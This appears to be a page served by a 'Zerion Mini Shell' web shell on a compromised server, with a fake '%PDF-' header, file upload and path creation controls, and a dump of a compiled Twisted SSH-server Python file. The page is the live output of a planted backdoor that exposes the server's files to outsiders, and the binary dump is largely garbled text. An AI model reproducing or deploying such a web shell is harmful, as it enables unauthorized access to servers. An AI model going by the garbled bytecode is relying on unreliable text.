%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/conch/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/conch/__pycache__/tap.cpython-312.pyc

�

Ϫ�fv���dZddlmZddlmZmZddlmZddl	m
Z
mZddlm
Z
Gd�de
jej�Zd	�Zy
)z4
Support module for making SSH servers with twistd.
�)�strports)�checkers�unix)�factory)�portal�strcred)�usagec����eZdZdZdZgd�gd�gd�gd�gZejejd��ejd	��ej�d
���Z
�fd�Z�fd
�Z�xZ
S)�Optionsz([-i <interface>] [-p <port>] [-d <dir>] z�Makes a Conch SSH server.  If no authentication methods are specified, the default authentication methods are UNIX passwords and SSH public keys.  If --auth options are passed, only the measures specified will be used.)�	interface�i�z"local interface to which we listen)�port�pztcp:22zPort on which to listen)�data�dz/etcz"directory to look for host keys in)�modulirNz:directory to look for moduli in (if different from --data)zdata directory)�descrzmoduli directory)rrr)�
optActionsc���tjj|g|��i|��t�|�tj��t�|�tjtj���d|_	y)NT)
r	r�__init__�super�
addChecker�conch_checkers�UNIXPasswordDatabase�SSHPublicKeyChecker�UNIXAuthorizedKeysFiles�_usingDefaultAuth)�self�a�kw�	__class__s   ��3/usr/lib/python3/dist-packages/twisted/conch/tap.pyrzOptions.__init__+se���
�
�
���t�.�a�.�2�.�	���>�>�>�@�A�
����.�.�~�/U�/U�/W�X�	
�"&���c�^��|jrg|d<i|d<d|_t�|�	|�y)z�
        Add the checker specified.  If any checkers are added, the default
        checkers are automatically cleared and the only checkers will be the
        specified one(s).
        �credCheckers�credInterfacesFN)rrr)r�checkerr"s  �r#rzOptions.addChecker8s8����!�!�#%�D�� �%'�D�!�"�%*�D�"�
���7�#r$)�__name__�
__module__�__qualname__�synopsis�longdesc�
optParametersr	�Completions�CompleteDirs�CompleteNetInterfaces�compDatarr�
__classcell__)r"s@r#rrs����9�H�	<�
�	E�:�C�	
�	
�M�!�u� � �&�E�&�&�-=�>�(�e�(�(�/A�B�4��4�4�6�
��H�&�
$�
$r$rc�4�tj�}tj�}t	j
||j
dg��|_|d|_|dxs|d|_|d}|dr|d|dzz
}tj||�S)aH
    Construct a service for operating a SSH server.

    @param config: An L{Options} instance specifying server options, including
        where server keys are stored and what authentication methods to use.

    @return: A L{twisted.application.service.IService} provider which contains
        the requested SSH server.
    r&rrrrz:interface=)r�OpenSSHFactoryr�UnixSSHRealmr�Portal�get�dataRoot�
moduliRootr�service)�config�t�rrs    r#�makeServicer?Es���	��� �A�����A��}�}�Q��
�
�>�2� >�?�A�H����A�J��(�#�5�v�f�~�A�L��&�>�D�
�k���
��{� 3�3�3�����D�!�$�$r$N)�__doc__�twisted.applicationr�
twisted.conchrrr�twisted.conch.openssh_compatr�twisted.credrr�twisted.pythonr	r�AuthOptionMixinr?�r$r#�<module>rHs9��
�)�:�0�(� �2$�e�m�m�W�4�4�2$�j%r$

Zerion Mini Shell 1.0